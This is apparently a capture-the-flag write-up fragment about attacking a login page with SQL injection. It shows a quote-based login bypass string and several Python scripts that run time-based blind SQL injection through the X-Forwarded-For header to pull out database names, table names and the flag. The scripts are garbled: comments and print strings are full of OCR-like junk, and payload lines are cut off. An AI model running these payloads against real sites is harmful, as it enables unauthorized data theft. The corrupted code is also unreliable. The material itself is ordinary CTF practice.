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username: def ='0

password : def ='0
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select * from admin where username = 'def' = '0' and password = 'def' = '0";
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# -*- coding:utf-8 -*-

import requests

import string

url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"

guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]

for database_number in range(©,100): #HEREIBWRT100E
databasename=""
for i in range(1,100): HREFFRKE, R ET100KE
flag=0
for str in guess: HR %A B M 7R/
#print 'trying ',str
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from infor
try:
res=requests.get(url,headers=headers,timeout=4)
except:
databasename+=str
flag=1
print 'EER#EE%INEIEES, the databasename now is '%(database_number+1) ,databasename
break
if flag==0:
break

database.append(databasename)
if i==1 and flag==0:
print 'Hi#5ER"

break

for i in range(len(database)):
print database[i]
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# -*- coding:utf-8 -*-

import requests

import string

url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"

guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]

for table_number in range(0,500):
print 'trying',table_number
headers = {"X-forwarded-for":"'+"+" (select case when (select count(table_name) from information_schema
try:
res=requests.get(url,headers=headers,timeout=4)
except:
print table_number
break
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# -*- coding:utf-8 -*-

import requests

import string

url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"

guess = string.lowercase+string.uppercase+string.digits+string.punctuation

tables=[]
for table_number in range(41,42): #HB BN FE 60T 6
tablename=""
for i in range(1,100): HREFFRKE, R ET100KE
flag=0
for str in guess: HRZAL B M 7R/
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select table_name from inform
try:
res=requests.get(url,headers=headers,timeout=4)
except:
tablename+=str
flag=1
print 'EEREFE%INMEIEES, the tablename now is '%(table_number+l) ,tablename
break
if flag==0:
break

tables.append(tablename)
if i==1 and flag==0:
print 'HEfTR’

break

for i in range(len(tables)):
print tables[i]
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#-*-coding:utf-8-*-

import requests

import string

url="http://xxx"

guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break

print 'result:' + flag
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